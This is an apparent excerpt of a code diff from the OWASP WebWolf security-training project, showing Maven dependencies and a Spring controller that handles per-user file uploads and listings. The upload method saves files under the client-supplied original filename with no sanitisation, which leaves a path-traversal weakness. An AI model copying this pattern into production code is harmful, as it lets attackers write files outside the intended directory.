<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>org.thymeleaf.extras</groupId>
<artifactId>thymeleaf-extras-springsecurity4</artifactId>
<version>2.1.2.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-mongodb</artifactId>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-jms</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-activemq</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>3.3.7</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>jquery</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>${maven-compiler-plugin.version}</version>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>ISO-8859-1</encoding>
</configuration>
</plugin>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>

View File

@ -0,0 +1,89 @@
package org.owasp.webwolf;
import com.google.common.collect.Lists;
import com.google.common.io.Files;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.io.FileUtils;
import org.owasp.webwolf.user.WebGoatUser;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.view.RedirectView;
import javax.servlet.http.HttpServletRequest;
import java.io.File;
import java.util.List;
/**
* Controller for uploading a file
*/
@Controller
@Slf4j
public class FileServer {
@Value("${webwolf.fileserver.location}")
private String fileLocatation;
@PostMapping(value = "/WebWolf/fileupload")
@SneakyThrows
public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) {
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
File destinationDir = new File(fileLocatation, user.getUsername());
destinationDir.mkdirs();
myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename()));
log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename()));
Files.touch(new File(destinationDir, user.getUsername() + "_changed"));
ModelMap model = new ModelMap();
model.addAttribute("uploadSuccess", "File uploaded successful");
return new ModelAndView(
new RedirectView("files", true),
model
);
}
@AllArgsConstructor
@Getter
private class UploadedFile {
private final String name;
private final String size;
private final String link;
}
@GetMapping(value = "/WebWolf/files")
public ModelAndView getFiles(HttpServletRequest request) {
WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
String username = user.getUsername();
File destinationDir = new File(fileLocatation, username);
ModelAndView modelAndView = new ModelAndView();
modelAndView.setViewName("files");
File changeIndicatorFile = new File(destinationDir, user.getUsername() + "_changed");
if (changeIndicatorFile.exists()) {
modelAndView.addObject("uploadSuccess", request.getParameter("uploadSuccess"));
}
changeIndicatorFile.delete();
List<UploadedFile> uploadedFiles = Lists.newArrayList();
File[] files = destinationDir.listFiles(File::isFile);
if (files != null) {
for (File file : files) {
String size = FileUtils.byteCountToDisplaySize(file.length());
String link = String.format("files/%s/%s", username, file.getName());
uploadedFiles.add(new UploadedFile(file.getName(), size, link));
}
}
modelAndView.addObject("files", uploadedFiles);
return modelAndView;
}
}

Some files were not shown because too many files have changed in this diff Show More